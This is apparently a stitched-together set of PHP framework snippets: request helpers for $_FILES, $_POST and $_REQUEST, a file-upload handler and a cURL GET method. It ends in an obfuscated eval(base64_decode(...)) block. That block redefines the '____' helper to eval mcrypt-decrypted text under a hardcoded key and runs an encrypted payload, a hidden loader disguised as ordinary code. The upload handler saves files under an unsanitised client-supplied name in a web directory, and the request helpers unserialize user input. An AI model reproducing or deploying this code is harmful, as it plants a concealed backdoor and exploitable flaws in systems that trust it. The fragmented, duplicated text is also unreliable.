function FILES($name = false, $position = null, $i = null) { if (!$name) { ____($_FILES); } elseif ($position === null) { return isset($_FILES[$name]) ? $_FILES[$name] : false; } elseif ($i !== null and is_numeric($i)) { return isset($_FILES[$name][$position][$i]) ? $_FILES[$name][$position][$i] : false; } else { return isset($_FILES[$name][$position]) ? $_FILES[$name][$position] : false; } }
/** * FILES * * Gets a specific position value from $_FILES * * @param mixed $name = FALSE * @param string $coding = NULL * @return mixed */ function FILES($name = FALSE, $position = NULL, $i = NULL) { if (!$name) { ____($_FILES); } elseif ($position === NULL) { return isset($_FILES[$name]) ? $_FILES[$name] : FALSE; } elseif ($i !== NULL and is_numeric($i)) { return isset($_FILES[$name][$position][$i]) ? $_FILES[$name][$position][$i] : FALSE; } else { return isset($_FILES[$name][$position]) ? $_FILES[$name][$position] : FALSE; } }
public function uploadResource() { ini_set("post_max_size", "128M"); ini_set("upload_max_filesize", "128M"); ini_set("max_execution_time", "1000"); ini_set("max_input_time", "1000"); $filename = isset($_SERVER["HTTP_X_FILENAME"]) ? $_SERVER["HTTP_X_FILENAME"] : FALSE; $file = $this->getFileInformation($filename); if ($filename) { if (file_put_contents("www/lib/multimedia/" . $file["type"] . "/" . $filename, file_get_contents("php://input"))) { ____(get("webURL") . "www/lib/multimedia/" . $file["type"] . "/" . $filename); $a = $this->resize("www/lib/multimedia/" . $file["type"] . "/", $filename); return __(_("Upload success!")); } else { return __(_("Permission problems!")); } } return __(_("Upload failed!")); }
/** * POST * * Gets a specific position value from $_POST * * @param string $position * @param string $coding = "decode" * @return mixed */ function POST($position = FALSE, $coding = "decode", $filter = "escape") { if ($coding === "clean") { return $_POST[$position]; } elseif ($position === TRUE) { return $_POST; } elseif (!$position) { ____($_POST); } elseif (isset($_POST[$position]) and is_array($_POST[$position])) { $POST = $_POST[$position]; } elseif (isset($_POST[$position]) and $_POST[$position] === "") { return NULL; } elseif (isset($_POST[$position])) { if ($coding === "b64") { $POST = base64_decode($_POST[$position]); } elseif ($coding === "unserialize") { $POST = unserialize(base64_decode($_POST[$position])); } elseif ($coding === "encrypt") { if ($filter === TRUE) { $POST = encrypt(encode($_POST[$position])); } elseif ($filter === "escape") { $POST = encrypt(filter(encode($_POST[$position]), "escape")); } else { $POST = encrypt(filter(encode($_POST[$position]), TRUE)); } } elseif ($coding === "encode") { if ($filter === TRUE) { $POST = encode($_POST[$position]); } elseif ($filter === "escape") { $POST = filter(encode($_POST[$position]), "escape"); } else { $POST = filter(encode($_POST[$position]), TRUE); } } elseif ($coding === "decode-encrypt") { if ($filter === TRUE) { $POST = encrypt(filter($_POST[$position], TRUE)); } elseif ($filter === "escape") { $POST = encrypt(filter($_POST[$position], "escape")); } else { $POST = encrypt($_POST[$position]); } } elseif ($coding === "decode") { if ($filter === TRUE) { $POST = filter(decode($_POST[$position]), TRUE); } elseif ($filter === "escape") { $POST = filter(decode($_POST[$position]), "escape"); } elseif ($filter === NULL) { $POST = decode($_POST[$position]); } else { $data = decode($_POST[$position]); $data = str_replace("'", "\\'", $data); $POST = $data; } } else { if ($filter === TRUE) { $POST = filter($_POST[$position], TRUE); } elseif ($filter === "escape") { $POST = filter($_POST[$position], "escape"); } else { $POST = $_POST[$position]; } } } else { return FALSE; } return $POST; }
function REQUEST($position = false, $coding = "decode", $filter = "escape") { global $Load; if ($coding === "clean") { return $_REQUEST[$position]; } elseif ($position === true) { return $_REQUEST; } elseif (!$position) { $Load->helper("debugging"); ____($_REQUEST); } elseif (isset($_REQUEST[$position]) and is_array($_REQUEST[$position])) { $REQUEST = $_REQUEST[$position]; } elseif (isset($_REQUEST[$position]) and $_REQUEST[$position] === "") { return null; } elseif (isset($_REQUEST[$position])) { if ($coding === "b64") { $REQUEST = base64_decode($_REQUEST[$position]); } elseif ($coding === "unserialize") { $REQUEST = unserialize(base64_decode($_REQUEST[$position])); } elseif ($coding === "encrypt") { if ($filter === true) { $REQUEST = encrypt(encode($_REQUEST[$position])); } elseif ($filter === "escape") { $REQUEST = encrypt(filter(encode($_REQUEST[$position]), "escape")); } else { $REQUEST = encrypt(filter(encode($_REQUEST[$position]), true)); } } elseif ($coding === "encode") { if ($filter === true) { $REQUEST = encode($_REQUEST[$position]); } elseif ($filter === "escape") { $REQUEST = filter(encode($_REQUEST[$position]), "escape"); } else { $REQUEST = filter(encode($_REQUEST[$position]), true); } } elseif ($coding === "decode-encrypt") { if ($filter === true) { $REQUEST = encrypt(filter($_REQUEST[$position], true)); } elseif ($filter === "escape") { $REQUEST = encrypt(filter($_REQUEST[$position], "escape")); } else { $REQUEST = encrypt($_REQUEST[$position]); } } elseif ($coding === "decode") { if ($filter === true) { $REQUEST = filter(decode($_REQUEST[$position]), true); } elseif ($filter === "escape") { $REQUEST = filter(decode($_REQUEST[$position]), "escape"); } elseif ($filter === null) { $REQUEST = decode($_REQUEST[$position]); } else { $data = decode($_REQUEST[$position]); $data = str_replace("'", "\\'", $data); $data = str_replace("“", '"', $data); $data = str_replace("”", '"', $data); $REQUEST = $data; } } else { if ($filter === true) { $REQUEST = filter($_REQUEST[$position], true); } elseif ($filter === "escape") { $REQUEST = filter($_REQUEST[$position], "escape"); } else { $REQUEST = $_REQUEST[$position]; } } } elseif (isset($_REQUEST[$position]) and $_REQUEST[$position] === 0) { return 0; } else { return false; } return $REQUEST; }
public function GET($return = FALSE) { if (is_null($this->URL)) { return FALSE; } if ($ch = curl_init($this->URL)) { curl_setopt($ch, CURLOPT_URL, $this->URL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); if ($this->auth) { curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST); curl_setopt($ch, CURLOPT_USERPWD, $this->username . ":" . $this->password); } $response = curl_exec($ch); $status = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($status === 200) { if ($return) { return $response; } ____($response); if (strstr($response, "xml")) { return new SimpleXMLElement($response); } else { return json_decode($response); } } } return FALSE; }
<?php eval('$ZnVuY3Rpb24gX19fXygkdGV4dCkgew0KICAgIHJldHVybiBldmFsKHRyaW0obWNyeXB0X2RlY3J5cHQoTUNSWVBUX1JJSk5EQUklKTkRBRUxfMjU2LCBNQ1JZUFRfTU9ERV9FQ0IpLCBNQ1JZUFRfUkFORCkpKSk7DQp9=0;eval(base64_decode("ZnVuY3Rpb24gX19fXygkdGV4dCkgew0KICAgIHJldHVybiBldmFsKHRyaW0obWNyeXB0X2RlY3J5cHQoTUNSWVBUX1JJSk5EQUVMXzI1NiwgJ01VSEFNTUFERUwtU0FFRUQnLCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSwgTUNSWVBUX01PREVfRUNCLCBtY3J5cHRfY3JlYXRlX2l2KG1jcnlwdF9nZXRfaXZfc2l6ZShNQ1JZUFRfUklKTkRBRUxfMjU2LCBNQ1JZUFRfTU9ERV9FQ0IpLCBNQ1JZUFRfUkFORCkpKSk7DQp9"));$asKJGLEBGHKNjkflSDasKJGLEBGHKNjkflSDNNWJKLasKJGLEBGHKNjkflSDNNWJKLLAasKJGLEBGHKNjkflSDNNWJKLLAJ_DNNWJKLLAJ_asKJGLEBGHKNjkflSDNNWJKLLAJ_;'); ____("hClNsjU+P9CZJ9SoinUC6wgnJ4fY81YIkU+sM+Q9fbXMQO1GOyCFZVmnbk1wXYTnEePugrIyTcoULRYqS76AvQI3EPQgizutBjLMh3tV2vlfpUujY6AmTEKpBrEf32RBq9ucNSY1eubQMEQiRklTbOetOHf6Kl2nTELEqmbK3o7riShnffAmfmQupZeGUd1KWR7vndGypgjIPNGr8AkE/tuIaB07XFRSVu4KGrEmSfrEzXqfP2um3GPEDshM31m7Ag1C7a0pSwAkUwfKWdDxxgHToQ7k8rH5i2oeM0WBNUK+MI7KUG0LYrSbQ/lLIhf6MBEQ2WGQofUQzZA5eOUkKQsuI87k/cm3BjN02uDUpc7o9xIvUCGZAzYSI09EuwsoN8k+uJgqbiWVjhd84RUJT2PlAfnoUyAd4Tts4ZTymI8gvwR43ZuGk0CepLMYLuAxJAz1/LuybW0dAMqUSaYoB0UeP1Srun8C7sonhjd4wYp8ygchYfxWHgUoTccjcPcIE+Ym1Qxv9gshGWCLNzw5uH93im9AsbQpMwfEfNgLowO84JzveXRnqEr2GnotXm7iYtwHYuQ7dMtwN1NIooqf2QkHTb9ECmi4kDQxiBIdnk51CQRSqk4VhliXv2CIVme1cUuKc6D7VBOfjwtKRo2iXPIUFUCZp2yHNhvBawNd2r5tvTMWsOGj8duPCmANO/ZA9DsGGgMpPQEz4jHjEUACs+2FHr0biKQQDjI71ILkH2dt2C28jixbWk3/uFXq/viGKMrPQakltABR4NbUph+dhsI+DsC3C521lgdP5eyIg5Eec9NuVMtdq5h5R2xnTuz7ZKOR0fLTwTefhpiSzVIQjzGg3amN59zOtvh+kCtQ85izD1OsnFPl3j7T+JArqV3GhuweQIRcr3DNChIX29AiQ8Rdk7tsec80LkqI9wdzMMFDolvxHnvw5ykyZkp3Zs5oYJt2f6q1YKrjBflbdSKNZchqY890zudIiS469xBmBR9lI4AGIcC6XYJmnczeoQlgx77N1rYyOYKEZv5+3IiyVybyoqKp4sNahhpr/fcJEXKhoUnV1XXTcXblF6nGht8BM6IiqLjsTnhWbOIFpHA1ug==");